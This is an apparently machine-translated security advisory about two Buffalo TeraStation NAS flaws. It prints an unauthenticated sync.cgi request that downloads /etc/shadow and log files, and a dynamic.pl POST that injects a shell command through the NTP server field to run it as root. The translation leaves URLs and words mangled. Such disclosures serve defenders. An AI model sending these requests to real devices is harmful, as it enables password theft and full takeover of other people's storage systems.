Buffalo TeraStation dynamic. pl NTP Command Injection Vulnerability

Release date:
Updated on: 2013-02-01

Affected Systems:
Buffalotech TeraStation
Description:
--------------------------------------------------------------------------------
Bugtraq id: 57634
 
Buffalo TeraStation NAS is a centralized storage and backup solution.
 
The Buffalo TeraStation TS series has the NTP Command Injection Vulnerability in the Implementation of dynamic. pl. verified users can execute arbitrary commands on the system with the root permission.
 
<* Source: Andrea Fabrizi (andrea.fabrizi@gmail.com)

Link: http://seclists.org/fulldisclosure/2013/Jan/261? Utm_source = twitterfeed & utm_medium = twitter
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!
1] ======== sync. cgi unauthenticated arbitrary file download ======
Requesting an unprotected cgi, it's possible, for an unauthenticated
User, to download any system file, sorted ded/etc/shadow, that contains
The password shadows for the application/system users.
 
/Cgi-bin/sync. cgi? GSSS = foo & gRRR = foo & gPage = information & gMode = log & gType = save & gKey =/etc/shadow
 
Moreover, using the key "all" it's possible to download the entire
/Var/log directory:
 
/Cgi-bin/sync. cgi? GSSS = foo & gRRR = foo & gPage = information & gMode = log & gType = save & gKey = all
 
2] ======= dynamic. pl NTP command injection ==========
This vulnerability allows authenticated users to execute arbitrary
Commands on the system with root privileges.
 
This is a sample request:
#####################################
POST/dynamic. pl HTTP/1.1
Content-Length: 89
Cookie: webui_session_admin = xxxxxxxxxxxxxxxxxxxxxx_en_0
 
Bufaction = setDTSettings & dateMethod = on
& Amp; ip = www. google. it % 26% 26 [COMMAND]>/tmp/output
& SyncFreq = 1d
#####################################

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:
 
Buffalotech
-----------
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:
 
Http://www.buffalotech.com/